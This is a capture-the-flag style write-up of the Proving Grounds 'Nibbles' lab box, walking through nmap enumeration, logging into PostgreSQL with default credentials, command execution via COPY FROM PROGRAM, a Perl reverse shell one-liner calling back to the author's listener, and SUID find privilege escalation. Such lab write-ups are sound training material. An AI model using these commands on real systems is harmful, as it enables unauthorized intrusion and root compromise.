Proving Grounds - Nibbles (Intermediate)
Apr 15, 22Introduction
This is an Intermediate Linux box on Proving Grounds.
Enumeration
As always first I will run a service version Nmap scan. This reveals FTP, SSH, and a webserver on HTTP.
$ sudo nmap --min-rate 100 -sV -sC -T4 192.168.122.47 -oA nmap/versions
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-14 11:34 EDT
Nmap scan report for 192.168.122.47
Host is up (0.083s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)
| 256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)
|_ 256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Enter a title, displayed at the top of the window.
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.71 seconds
Running a further Nmap scan across all ports reveals one more open port - 5437. This is PostgresQL.
sudo nmap -p- -T4 192.168.122.47 -o nmap/all
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-14 12:19 EDT
Nmap scan report for 192.168.122.47
Host is up (0.084s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds
5437/tcp open pmip6-data
Nmap done: 1 IP address (1 host up) scanned in 110.82 seconds
Apache Webserver
Service: Apache/2.4.38 (Debian)
To me this looked like a default page and I was not able to find anything interesting via directory enumeration.

PostgresQL Enumeration
We can use Nmap to attempt a service version scan on the PostgresQL port - this succesfully identifies the version as between 11.3 - 11.7.
$ nmap -sC -sV -p 5437 192.168.122.47
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-14 12:26 EDT
Nmap scan report for 192.168.122.47
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
5437/tcp open postgresql PostgreSQL DB 11.3 - 11.7
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2020-04-27T15:41:47
|_Not valid after: 2030-04-25T15:41:47
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.81 seconds
Default credentials are always worth a try:
psql -h 192.168.122.47 -p 5437 -U postgres -W
Here we can try the username-password combination postgres:postgres:

PostgresQL Exploitation
The default credentials are valid and we are able to enumerate the database and also list directories.

select pg_ls_dir('/etc');

Internal reconnaissance of the server enabled me to identify it as PostgresQL version 11.7 but unfortunately I do not have a screenshot of this. Knowing this, we can search for vulnerabilties - an authenticated RCE exploit is available.
PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated)
Example
sudo python3 50847.py -i 192.168.171.47 -p 5437 -c "(command)"
However this did not work for me, so I resorted to manually exploting the RCE.
Manual RCE
1) [Optional] Drop the table you want to use if it already exists
DROP TABLE IF EXISTS cmd_exec;
2) Create the table you want to hold the command output
CREATE TABLE cmd_exec(cmd_output text);
3) Run the system command via the COPY FROM PROGRAM function
COPY cmd_exec FROM PROGRAM 'id';
4) [Optional] View the results
SELECT * FROM cmd_exec;
5) [Optional] Clean up after yourself
DROP TABLE IF EXISTS cmd_exec;
Executing a Perl reverse shell:
COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.171:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

We receive a connect back at the listener and we have interactive shell access as the postgres user.

Another local user is present, wilson, and the current user has the privileges to read their files (such as the local flag).
Privilege Escalation
Firewall rules which prevented file transfer were in place, so I generated SSH keys on the target and added to the Kali authorized keys file. Then we can transfer files with scp e.g.
scp -i /var/lib/postgresql/.ssh/id_rsa kali@192.168.49.171:/home/kali/Documents/oscp/provingGrounds/nibbles/linpeas.sh /tmp/
This was however COMPLETELY unneccessary as one of the first enumeration commands I had run manually had shown the PE vector…
postgres@nibbles:/tmp$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/find
/usr/bin/sudo
/usr/bin/umount
The binary find with a SUID bit set is a classic privilege escalation technique seen often in CTFs.
/usr/bin/find . -exec /bin/sh -p \; -quit
